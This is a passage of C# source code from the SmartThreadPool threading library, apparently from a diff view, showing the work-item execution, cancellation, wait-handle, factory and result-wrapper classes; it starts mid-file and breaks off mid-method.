/// Stores how much time it took the work item to execute after it went out of the queue
/// </summary>
private Stopwatch _processingStopwatch;
#endregion
#endregion
#region Properties
public TimeSpan WaitingTime
{
get
{
return _waitingOnQueueStopwatch.Elapsed;
}
}
public TimeSpan ProcessTime
{
get
{
return _processingStopwatch.Elapsed;
}
}
internal WorkItemInfo WorkItemInfo
{
get
{
return _workItemInfo;
}
}
#endregion
#region Construction
/// <summary>
/// Initialize the callback holding object.
/// </summary>
/// <param name="workItemsGroup">The workItemGroup of the workitem</param>
/// <param name="workItemInfo">The WorkItemInfo of te workitem</param>
/// <param name="callback">Callback delegate for the callback.</param>
/// <param name="state">State with which to call the callback delegate.</param>
///
/// We assume that the WorkItem object is created within the thread
/// that meant to run the callback
public WorkItem(
IWorkItemsGroup workItemsGroup,
WorkItemInfo workItemInfo,
WorkItemCallback callback,
object state)
{
_workItemsGroup = workItemsGroup;
_workItemInfo = workItemInfo;
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
if (_workItemInfo.UseCallerCallContext || _workItemInfo.UseCallerHttpContext)
{
_callerContext = CallerThreadContext.Capture(_workItemInfo.UseCallerCallContext, _workItemInfo.UseCallerHttpContext);
}
#endif
_callback = callback;
_state = state;
_workItemResult = new WorkItemResult(this);
Initialize();
}
internal void Initialize()
{
// The _workItemState is changed directly instead of using the SetWorkItemState
// method since we don't want to go throught IsValidStateTransition.
_workItemState = WorkItemState.InQueue;
_workItemCompleted = null;
_workItemCompletedRefCount = 0;
_waitingOnQueueStopwatch = new Stopwatch();
_processingStopwatch = new Stopwatch();
_expirationTime =
_workItemInfo.Timeout > 0 ?
DateTime.UtcNow.Ticks + _workItemInfo.Timeout * TimeSpan.TicksPerMillisecond :
long.MaxValue;
}
internal bool WasQueuedBy(IWorkItemsGroup workItemsGroup)
{
return (workItemsGroup == _workItemsGroup);
}
#endregion
#region Methods
internal CanceledWorkItemsGroup CanceledWorkItemsGroup
{
get { return _canceledWorkItemsGroup; }
set { _canceledWorkItemsGroup = value; }
}
internal CanceledWorkItemsGroup CanceledSmartThreadPool
{
get { return _canceledSmartThreadPool; }
set { _canceledSmartThreadPool = value; }
}
/// <summary>
/// Change the state of the work item to in progress if it wasn't canceled.
/// </summary>
/// <returns>
/// Return true on success or false in case the work item was canceled.
/// If the work item needs to run a post execute then the method will return true.
/// </returns>
public bool StartingWorkItem()
{
_waitingOnQueueStopwatch.Stop();
_processingStopwatch.Start();
lock (this)
{
if (IsCanceled)
{
bool result = false;
if ((_workItemInfo.PostExecuteWorkItemCallback != null) &&
((_workItemInfo.CallToPostExecute & CallToPostExecute.WhenWorkItemCanceled) == CallToPostExecute.WhenWorkItemCanceled))
{
result = true;
}
return result;
}
Debug.Assert(WorkItemState.InQueue == GetWorkItemState());
// No need for a lock yet, only after the state has changed to InProgress
_executingThread = Thread.CurrentThread;
SetWorkItemState(WorkItemState.InProgress);
}
return true;
}
/// <summary>
/// Execute the work item and the post execute
/// </summary>
public void Execute()
{
CallToPostExecute currentCallToPostExecute = 0;
// Execute the work item if we are in the correct state
switch (GetWorkItemState())
{
case WorkItemState.InProgress:
currentCallToPostExecute |= CallToPostExecute.WhenWorkItemNotCanceled;
ExecuteWorkItem();
break;
case WorkItemState.Canceled:
currentCallToPostExecute |= CallToPostExecute.WhenWorkItemCanceled;
break;
default:
Debug.Assert(false);
throw new NotSupportedException();
}
// Run the post execute as needed
if ((currentCallToPostExecute & _workItemInfo.CallToPostExecute) != 0)
{
PostExecute();
}
_processingStopwatch.Stop();
}
internal void FireWorkItemCompleted()
{
try
{
if (null != _workItemCompletedEvent)
{
_workItemCompletedEvent(this);
}
}
catch // Suppress exceptions
{ }
}
internal void FireWorkItemStarted()
{
try
{
if (null != _workItemStartedEvent)
{
_workItemStartedEvent(this);
}
}
catch // Suppress exceptions
{ }
}
/// <summary>
/// Execute the work item
/// </summary>
private void ExecuteWorkItem()
{
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
CallerThreadContext ctc = null;
if (null != _callerContext)
{
ctc = CallerThreadContext.Capture(_callerContext.CapturedCallContext, _callerContext.CapturedHttpContext);
CallerThreadContext.Apply(_callerContext);
}
#endif
Exception exception = null;
object result = null;
try
{
try
{
result = _callback(_state);
}
catch (Exception e)
{
// Save the exception so we can rethrow it later
exception = e;
}
// Remove the value of the execution thread, so it will be impossible to cancel the work item,
// since it is already completed.
// Cancelling a work item that already completed may cause the abortion of the next work item!!!
Thread executionThread = Interlocked.CompareExchange(ref _executingThread, null, _executingThread);
if (null == executionThread)
{
// Oops! we are going to be aborted..., Wait here so we can catch the ThreadAbortException
Thread.Sleep(60 * 1000);
// If after 1 minute this thread was not aborted then let it continue working.
}
}
// We must treat the ThreadAbortException or else it will be stored in the exception variable
catch (ThreadAbortException tae)
{
tae.GetHashCode();
// Check if the work item was cancelled
// If we got a ThreadAbortException and the STP is not shutting down, it means the
// work items was cancelled.
if (!SmartThreadPool.CurrentThreadEntry.AssociatedSmartThreadPool.IsShuttingdown)
{
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
Thread.ResetAbort();
#endif
}
}
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
if (null != _callerContext)
{
CallerThreadContext.Apply(ctc);
}
#endif
if (!SmartThreadPool.IsWorkItemCanceled)
{
SetResult(result, exception);
}
}
/// <summary>
/// Runs the post execute callback
/// </summary>
private void PostExecute()
{
if (null != _workItemInfo.PostExecuteWorkItemCallback)
{
try
{
_workItemInfo.PostExecuteWorkItemCallback(_workItemResult);
}
catch (Exception e)
{
Debug.Assert(null != e);
}
}
}
/// <summary>
/// Set the result of the work item to return
/// </summary>
/// <param name="result">The result of the work item</param>
/// <param name="exception">The exception that was throw while the workitem executed, null
/// if there was no exception.</param>
internal void SetResult(object result, Exception exception)
{
_result = result;
_exception = exception;
SignalComplete(false);
}
/// <summary>
/// Returns the work item result
/// </summary>
/// <returns>The work item result</returns>
internal IWorkItemResult GetWorkItemResult()
{
return _workItemResult;
}
/// <summary>
/// Wait for all work items to complete
/// </summary>
/// <param name="waitableResults">Array of work item result objects</param>
/// <param name="millisecondsTimeout">The number of milliseconds to wait, or Timeout.Infinite (-1) to wait indefinitely.</param>
/// <param name="exitContext">
/// true to exit the synchronization domain for the context before the wait (if in a synchronized context), and reacquire it; otherwise, false.
/// </param>
/// <param name="cancelWaitHandle">A cancel wait handle to interrupt the wait if needed</param>
/// <returns>
/// true when every work item in waitableResults has completed; otherwise false.
/// </returns>
internal static bool WaitAll(
IWaitableResult[] waitableResults,
int millisecondsTimeout,
bool exitContext,
WaitHandle cancelWaitHandle)
{
if (0 == waitableResults.Length)
{
return true;
}
bool success;
WaitHandle[] waitHandles = new WaitHandle[waitableResults.Length];
GetWaitHandles(waitableResults, waitHandles);
if ((null == cancelWaitHandle) && (waitHandles.Length <= 64))
{
success = STPEventWaitHandle.WaitAll(waitHandles, millisecondsTimeout, exitContext);
}
else
{
success = true;
int millisecondsLeft = millisecondsTimeout;
Stopwatch stopwatch = Stopwatch.StartNew();
WaitHandle[] whs;
if (null != cancelWaitHandle)
{
whs = new WaitHandle[] { null, cancelWaitHandle };
}
else
{
whs = new WaitHandle[] { null };
}
bool waitInfinitely = (Timeout.Infinite == millisecondsTimeout);
// Iterate over the wait handles and wait for each one to complete.
// We cannot use WaitHandle.WaitAll directly, because the cancelWaitHandle
// won't affect it.
// Each iteration we update the time left for the timeout.
for (int i = 0; i < waitableResults.Length; ++i)
{
// WaitAny don't work with negative numbers
if (!waitInfinitely && (millisecondsLeft < 0))
{
success = false;
break;
}
whs[0] = waitHandles[i];
int result = STPEventWaitHandle.WaitAny(whs, millisecondsLeft, exitContext);
if ((result > 0) || (STPEventWaitHandle.WaitTimeout == result))
{
success = false;
break;
}
if (!waitInfinitely)
{
// Update the time left to wait
millisecondsLeft = millisecondsTimeout - (int)stopwatch.ElapsedMilliseconds;
}
}
}
// Release the wait handles
ReleaseWaitHandles(waitableResults);
return success;
}
/// <summary>
/// Waits for any of the work items in the specified array to complete, cancel, or timeout
/// </summary>
/// <param name="waitableResults">Array of work item result objects</param>
/// <param name="millisecondsTimeout">The number of milliseconds to wait, or Timeout.Infinite (-1) to wait indefinitely.</param>
/// <param name="exitContext">
/// true to exit the synchronization domain for the context before the wait (if in a synchronized context), and reacquire it; otherwise, false.
/// </param>
/// <param name="cancelWaitHandle">A cancel wait handle to interrupt the wait if needed</param>
/// <returns>
/// The array index of the work item result that satisfied the wait, or WaitTimeout if no work item result satisfied the wait and a time interval equivalent to millisecondsTimeout has passed or the work item has been canceled.
/// </returns>
internal static int WaitAny(
IWaitableResult[] waitableResults,
int millisecondsTimeout,
bool exitContext,
WaitHandle cancelWaitHandle)
{
WaitHandle[] waitHandles;
if (null != cancelWaitHandle)
{
waitHandles = new WaitHandle[waitableResults.Length + 1];
GetWaitHandles(waitableResults, waitHandles);
waitHandles[waitableResults.Length] = cancelWaitHandle;
}
else
{
waitHandles = new WaitHandle[waitableResults.Length];
GetWaitHandles(waitableResults, waitHandles);
}
int result = STPEventWaitHandle.WaitAny(waitHandles, millisecondsTimeout, exitContext);
// Treat cancel as timeout
if (null != cancelWaitHandle)
{
if (result == waitableResults.Length)
{
result = STPEventWaitHandle.WaitTimeout;
}
}
ReleaseWaitHandles(waitableResults);
return result;
}
/// <summary>
/// Fill an array of wait handles with the work items wait handles.
/// </summary>
/// <param name="waitableResults">An array of work item results</param>
/// <param name="waitHandles">An array of wait handles to fill</param>
private static void GetWaitHandles(
IWaitableResult[] waitableResults,
WaitHandle[] waitHandles)
{
for (int i = 0; i < waitableResults.Length; ++i)
{
WorkItemResult wir = waitableResults[i].GetWorkItemResult() as WorkItemResult;
Debug.Assert(null != wir, "All waitableResults must be WorkItemResult objects");
waitHandles[i] = wir.GetWorkItem().GetWaitHandle();
}
}
/// <summary>
/// Release the work items' wait handles
/// </summary>
/// <param name="waitableResults">An array of work item results</param>
private static void ReleaseWaitHandles(IWaitableResult[] waitableResults)
{
for (int i = 0; i < waitableResults.Length; ++i)
{
WorkItemResult wir = (WorkItemResult)waitableResults[i].GetWorkItemResult();
wir.GetWorkItem().ReleaseWaitHandle();
}
}
#endregion
#region Private Members
private WorkItemState GetWorkItemState()
{
lock (this)
{
if (WorkItemState.Completed == _workItemState)
{
return _workItemState;
}
long nowTicks = DateTime.UtcNow.Ticks;
if (WorkItemState.Canceled != _workItemState && nowTicks > _expirationTime)
{
_workItemState = WorkItemState.Canceled;
}
if (WorkItemState.InProgress == _workItemState)
{
return _workItemState;
}
if (CanceledSmartThreadPool.IsCanceled || CanceledWorkItemsGroup.IsCanceled)
{
return WorkItemState.Canceled;
}
return _workItemState;
}
}
/// <summary>
/// Sets the work item's state
/// </summary>
/// <param name="workItemState">The state to set the work item to</param>
private void SetWorkItemState(WorkItemState workItemState)
{
lock (this)
{
if (IsValidStatesTransition(_workItemState, workItemState))
{
_workItemState = workItemState;
}
}
}
/// <summary>
/// Signals that work item has been completed or canceled
/// </summary>
/// <param name="canceled">Indicates that the work item has been canceled</param>
private void SignalComplete(bool canceled)
{
SetWorkItemState(canceled ? WorkItemState.Canceled : WorkItemState.Completed);
lock (this)
{
// If someone is waiting then signal.
if (null != _workItemCompleted)
{
_workItemCompleted.Set();
}
}
}
internal void WorkItemIsQueued()
{
_waitingOnQueueStopwatch.Start();
}
#endregion
#region Members exposed by WorkItemResult
/// <summary>
/// Cancel the work item if it didn't start running yet.
/// </summary>
/// <returns>Returns true on success or false if the work item is in progress or already completed</returns>
private bool Cancel(bool abortExecution)
{
#if (_WINDOWS_CE)
if(abortExecution)
{
throw new ArgumentOutOfRangeException("abortExecution", "WindowsCE doesn't support this feature");
}
#endif
bool success = false;
bool signalComplete = false;
lock (this)
{
switch (GetWorkItemState())
{
case WorkItemState.Canceled:
//Debug.WriteLine("Work item already canceled");
if (abortExecution)
{
Thread executionThread = Interlocked.CompareExchange(ref _executingThread, null, _executingThread);
if (null != executionThread)
{
executionThread.Abort(); // "Cancel"
// No need to signalComplete, because we already cancelled this work item
// so it already signaled its completion.
//signalComplete = true;
}
}
success = true;
break;
case WorkItemState.Completed:
//Debug.WriteLine("Work item cannot be canceled");
break;
case WorkItemState.InProgress:
if (abortExecution)
{
Thread executionThread = Interlocked.CompareExchange(ref _executingThread, null, _executingThread);
if (null != executionThread)
{
executionThread.Abort(); // "Cancel"
success = true;
signalComplete = true;
}
}
else
{
success = true;
signalComplete = true;
}
break;
case WorkItemState.InQueue:
// Signal to the wait for completion that the work
// item has been completed (canceled). There is no
// reason to wait for it to get out of the queue
signalComplete = true;
//Debug.WriteLine("Work item canceled");
success = true;
break;
}
if (signalComplete)
{
SignalComplete(true);
}
}
return success;
}
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits for the result, timeout, or cancel.
/// In case of error the method throws and exception
/// </summary>
/// <returns>The result of the work item</returns>
private object GetResult(
int millisecondsTimeout,
bool exitContext,
WaitHandle cancelWaitHandle)
{
Exception e;
object result = GetResult(millisecondsTimeout, exitContext, cancelWaitHandle, out e);
if (null != e)
{
throw new WorkItemResultException("The work item caused an excpetion, see the inner exception for details", e);
}
return result;
}
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits for the result, timeout, or cancel.
/// In case of error the e argument is filled with the exception
/// </summary>
/// <returns>The result of the work item</returns>
private object GetResult(
int millisecondsTimeout,
bool exitContext,
WaitHandle cancelWaitHandle,
out Exception e)
{
e = null;
// Check for cancel
if (WorkItemState.Canceled == GetWorkItemState())
{
throw new WorkItemCancelException("Work item canceled");
}
// Check for completion
if (IsCompleted)
{
e = _exception;
return _result;
}
// If no cancelWaitHandle is provided
if (null == cancelWaitHandle)
{
WaitHandle wh = GetWaitHandle();
bool timeout = !STPEventWaitHandle.WaitOne(wh, millisecondsTimeout, exitContext);
ReleaseWaitHandle();
if (timeout)
{
throw new WorkItemTimeoutException("Work item timeout");
}
}
else
{
WaitHandle wh = GetWaitHandle();
int result = STPEventWaitHandle.WaitAny(new WaitHandle[] { wh, cancelWaitHandle });
ReleaseWaitHandle();
switch (result)
{
case 0:
// The work item signaled
// Note that the signal could be also as a result of canceling the
// work item (not the get result)
break;
case 1:
case STPEventWaitHandle.WaitTimeout:
throw new WorkItemTimeoutException("Work item timeout");
default:
Debug.Assert(false);
break;
}
}
// Check for cancel
if (WorkItemState.Canceled == GetWorkItemState())
{
throw new WorkItemCancelException("Work item canceled");
}
Debug.Assert(IsCompleted);
e = _exception;
// Return the result
return _result;
}
/// <summary>
/// A wait handle to wait for completion, cancel, or timeout
/// </summary>
private WaitHandle GetWaitHandle()
{
lock (this)
{
if (null == _workItemCompleted)
{
_workItemCompleted = EventWaitHandleFactory.CreateManualResetEvent(IsCompleted);
}
++_workItemCompletedRefCount;
}
return _workItemCompleted;
}
private void ReleaseWaitHandle()
{
lock (this)
{
if (null != _workItemCompleted)
{
--_workItemCompletedRefCount;
if (0 == _workItemCompletedRefCount)
{
_workItemCompleted.Close();
_workItemCompleted = null;
}
}
}
}
/// <summary>
/// Returns true when the work item has completed or canceled
/// </summary>
private bool IsCompleted
{
get
{
lock (this)
{
WorkItemState workItemState = GetWorkItemState();
return ((workItemState == WorkItemState.Completed) ||
(workItemState == WorkItemState.Canceled));
}
}
}
/// <summary>
/// Returns true when the work item has canceled
/// </summary>
public bool IsCanceled
{
get
{
lock (this)
{
return (GetWorkItemState() == WorkItemState.Canceled);
}
}
}
#endregion
#region IHasWorkItemPriority Members
/// <summary>
/// Returns the priority of the work item
/// </summary>
public WorkItemPriority WorkItemPriority
{
get
{
return _workItemInfo.WorkItemPriority;
}
}
#endregion
internal event WorkItemStateCallback OnWorkItemStarted
{
add
{
_workItemStartedEvent += value;
}
remove
{
_workItemStartedEvent -= value;
}
}
internal event WorkItemStateCallback OnWorkItemCompleted
{
add
{
_workItemCompletedEvent += value;
}
remove
{
_workItemCompletedEvent -= value;
}
}
public void DisposeOfState()
{
if (_workItemInfo.DisposeOfStateObjects)
{
IDisposable disp = _state as IDisposable;
if (null != disp)
{
disp.Dispose();
_state = null;
}
}
}
}
}

View File

@@ -0,0 +1,343 @@
using System;
namespace Amib.Threading.Internal
{
#region WorkItemFactory class
public class WorkItemFactory
{
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The WorkItemsGroup of this workitem</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="callback">A callback to execute</param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemCallback callback)
{
return CreateWorkItem(workItemsGroup, wigStartInfo, callback, null);
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The WorkItemsGroup of this workitem</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="workItemPriority">The priority of the work item</param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemCallback callback,
WorkItemPriority workItemPriority)
{
return CreateWorkItem(workItemsGroup, wigStartInfo, callback, null, workItemPriority);
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The WorkItemsGroup of this workitem</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="workItemInfo">Work item info</param>
/// <param name="callback">A callback to execute</param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemInfo workItemInfo,
WorkItemCallback callback)
{
return CreateWorkItem(
workItemsGroup,
wigStartInfo,
workItemInfo,
callback,
null);
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The WorkItemsGroup of this workitem</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemCallback callback,
object state)
{
ValidateCallback(callback);
WorkItemInfo workItemInfo = new WorkItemInfo();
workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext;
workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext;
workItemInfo.PostExecuteWorkItemCallback = wigStartInfo.PostExecuteWorkItemCallback;
workItemInfo.CallToPostExecute = wigStartInfo.CallToPostExecute;
workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects;
workItemInfo.WorkItemPriority = wigStartInfo.WorkItemPriority;
WorkItem workItem = new WorkItem(
workItemsGroup,
workItemInfo,
callback,
state);
return workItem;
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The work items group</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemCallback callback,
object state,
WorkItemPriority workItemPriority)
{
ValidateCallback(callback);
WorkItemInfo workItemInfo = new WorkItemInfo();
workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext;
workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext;
workItemInfo.PostExecuteWorkItemCallback = wigStartInfo.PostExecuteWorkItemCallback;
workItemInfo.CallToPostExecute = wigStartInfo.CallToPostExecute;
workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects;
workItemInfo.WorkItemPriority = workItemPriority;
WorkItem workItem = new WorkItem(
workItemsGroup,
workItemInfo,
callback,
state);
return workItem;
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The work items group</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="workItemInfo">Work item information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemInfo workItemInfo,
WorkItemCallback callback,
object state)
{
ValidateCallback(callback);
ValidateCallback(workItemInfo.PostExecuteWorkItemCallback);
WorkItem workItem = new WorkItem(
workItemsGroup,
new WorkItemInfo(workItemInfo),
callback,
state);
return workItem;
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The work items group</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemCallback callback,
object state,
PostExecuteWorkItemCallback postExecuteWorkItemCallback)
{
ValidateCallback(callback);
ValidateCallback(postExecuteWorkItemCallback);
WorkItemInfo workItemInfo = new WorkItemInfo();
workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext;
workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext;
workItemInfo.PostExecuteWorkItemCallback = postExecuteWorkItemCallback;
workItemInfo.CallToPostExecute = wigStartInfo.CallToPostExecute;
workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects;
workItemInfo.WorkItemPriority = wigStartInfo.WorkItemPriority;
WorkItem workItem = new WorkItem(
workItemsGroup,
workItemInfo,
callback,
state);
return workItem;
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The work items group</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemCallback callback,
object state,
PostExecuteWorkItemCallback postExecuteWorkItemCallback,
WorkItemPriority workItemPriority)
{
ValidateCallback(callback);
ValidateCallback(postExecuteWorkItemCallback);
WorkItemInfo workItemInfo = new WorkItemInfo();
workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext;
workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext;
workItemInfo.PostExecuteWorkItemCallback = postExecuteWorkItemCallback;
workItemInfo.CallToPostExecute = wigStartInfo.CallToPostExecute;
workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects;
workItemInfo.WorkItemPriority = workItemPriority;
WorkItem workItem = new WorkItem(
workItemsGroup,
workItemInfo,
callback,
state);
return workItem;
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The work items group</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="callToPostExecute">Indicates on which cases to call to the post execute callback</param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemCallback callback,
object state,
PostExecuteWorkItemCallback postExecuteWorkItemCallback,
CallToPostExecute callToPostExecute)
{
ValidateCallback(callback);
ValidateCallback(postExecuteWorkItemCallback);
WorkItemInfo workItemInfo = new WorkItemInfo();
workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext;
workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext;
workItemInfo.PostExecuteWorkItemCallback = postExecuteWorkItemCallback;
workItemInfo.CallToPostExecute = callToPostExecute;
workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects;
workItemInfo.WorkItemPriority = wigStartInfo.WorkItemPriority;
WorkItem workItem = new WorkItem(
workItemsGroup,
workItemInfo,
callback,
state);
return workItem;
}
/// <summary>
/// Create a new work item
/// </summary>
/// <param name="workItemsGroup">The work items group</param>
/// <param name="wigStartInfo">Work item group start information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="callToPostExecute">Indicates on which cases to call to the post execute callback</param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item</returns>
public static WorkItem CreateWorkItem(
IWorkItemsGroup workItemsGroup,
WIGStartInfo wigStartInfo,
WorkItemCallback callback,
object state,
PostExecuteWorkItemCallback postExecuteWorkItemCallback,
CallToPostExecute callToPostExecute,
WorkItemPriority workItemPriority)
{
ValidateCallback(callback);
ValidateCallback(postExecuteWorkItemCallback);
WorkItemInfo workItemInfo = new WorkItemInfo();
workItemInfo.UseCallerCallContext = wigStartInfo.UseCallerCallContext;
workItemInfo.UseCallerHttpContext = wigStartInfo.UseCallerHttpContext;
workItemInfo.PostExecuteWorkItemCallback = postExecuteWorkItemCallback;
workItemInfo.CallToPostExecute = callToPostExecute;
workItemInfo.WorkItemPriority = workItemPriority;
workItemInfo.DisposeOfStateObjects = wigStartInfo.DisposeOfStateObjects;
WorkItem workItem = new WorkItem(
workItemsGroup,
workItemInfo,
callback,
state);
return workItem;
}
private static void ValidateCallback(Delegate callback)
{
if (callback != null && callback.GetInvocationList().Length > 1)
{
throw new NotSupportedException("SmartThreadPool doesn't support delegates chains");
}
}
}
#endregion
}

View File

@@ -0,0 +1,69 @@
namespace Amib.Threading
{
#region WorkItemInfo class
/// <summary>
/// Summary description for WorkItemInfo.
/// </summary>
public class WorkItemInfo
{
public WorkItemInfo()
{
UseCallerCallContext = SmartThreadPool.DefaultUseCallerCallContext;
UseCallerHttpContext = SmartThreadPool.DefaultUseCallerHttpContext;
DisposeOfStateObjects = SmartThreadPool.DefaultDisposeOfStateObjects;
CallToPostExecute = SmartThreadPool.DefaultCallToPostExecute;
PostExecuteWorkItemCallback = SmartThreadPool.DefaultPostExecuteWorkItemCallback;
WorkItemPriority = SmartThreadPool.DefaultWorkItemPriority;
}
public WorkItemInfo(WorkItemInfo workItemInfo)
{
UseCallerCallContext = workItemInfo.UseCallerCallContext;
UseCallerHttpContext = workItemInfo.UseCallerHttpContext;
DisposeOfStateObjects = workItemInfo.DisposeOfStateObjects;
CallToPostExecute = workItemInfo.CallToPostExecute;
PostExecuteWorkItemCallback = workItemInfo.PostExecuteWorkItemCallback;
WorkItemPriority = workItemInfo.WorkItemPriority;
Timeout = workItemInfo.Timeout;
}
/// <summary>
/// Get/Set if to use the caller's security context
/// </summary>
public bool UseCallerCallContext { get; set; }
/// <summary>
/// Get/Set if to use the caller's HTTP context
/// </summary>
public bool UseCallerHttpContext { get; set; }
/// <summary>
/// Get/Set if to dispose of the state object of a work item
/// </summary>
public bool DisposeOfStateObjects { get; set; }
/// <summary>
/// Get/Set the run the post execute options
/// </summary>
public CallToPostExecute CallToPostExecute { get; set; }
/// <summary>
/// Get/Set the post execute callback
/// </summary>
public PostExecuteWorkItemCallback PostExecuteWorkItemCallback { get; set; }
/// <summary>
/// Get/Set the work item's priority
/// </summary>
public WorkItemPriority WorkItemPriority { get; set; }
/// <summary>
/// Get/Set the work item's timout in milliseconds.
/// This is a passive timout. When the timout expires the work item won't be actively aborted!
/// </summary>
public long Timeout { get; set; }
}
#endregion
}

View File

@@ -0,0 +1,128 @@
using System;
using System.Threading;
namespace Amib.Threading.Internal
{
#region WorkItemResultTWrapper class
internal class WorkItemResultTWrapper<TResult> : IWorkItemResult<TResult>, IInternalWaitableResult
{
private readonly IWorkItemResult _workItemResult;
public WorkItemResultTWrapper(IWorkItemResult workItemResult)
{
_workItemResult = workItemResult;
}
#region IWorkItemResult<TResult> Members
public TResult GetResult()
{
return (TResult)_workItemResult.GetResult();
}
public TResult GetResult(int millisecondsTimeout, bool exitContext)
{
return (TResult)_workItemResult.GetResult(millisecondsTimeout, exitContext);
}
public TResult GetResult(TimeSpan timeout, bool exitContext)
{
return (TResult)_workItemResult.GetResult(timeout, exitContext);
}
public TResult GetResult(int millisecondsTimeout, bool exitContext, WaitHandle cancelWaitHandle)
{
return (TResult)_workItemResult.GetResult(millisecondsTimeout, exitContext, cancelWaitHandle);
}
public TResult GetResult(TimeSpan timeout, bool exitContext, WaitHandle cancelWaitHandle)
{
return (TResult)_workItemResult.GetResult(timeout, exitContext, cancelWaitHandle);
}
public TResult GetResult(out Exception e)
{
return (TResult)_workItemResult.GetResult(out e);
}
public TResult GetResult(int millisecondsTimeout, bool exitContext, out Exception e)
{
return (TResult)_workItemResult.GetResult(millisecondsTimeout, exitContext, out e);
}
public TResult GetResult(TimeSpan timeout, bool exitContext, out Exception e)
{
return (TResult)_workItemResult.GetResult(timeout, exitContext, out e);
}
public TResult GetResult(int millisecondsTimeout, bool exitContext, WaitHandle cancelWaitHandle, out Exception e)
{
return (TResult)_workItemResult.GetResult(millisecondsTimeout, exitContext, cancelWaitHandle, out e);
}
public TResult GetResult(TimeSpan timeout, bool exitContext, WaitHandle cancelWaitHandle, out Exception e)
{
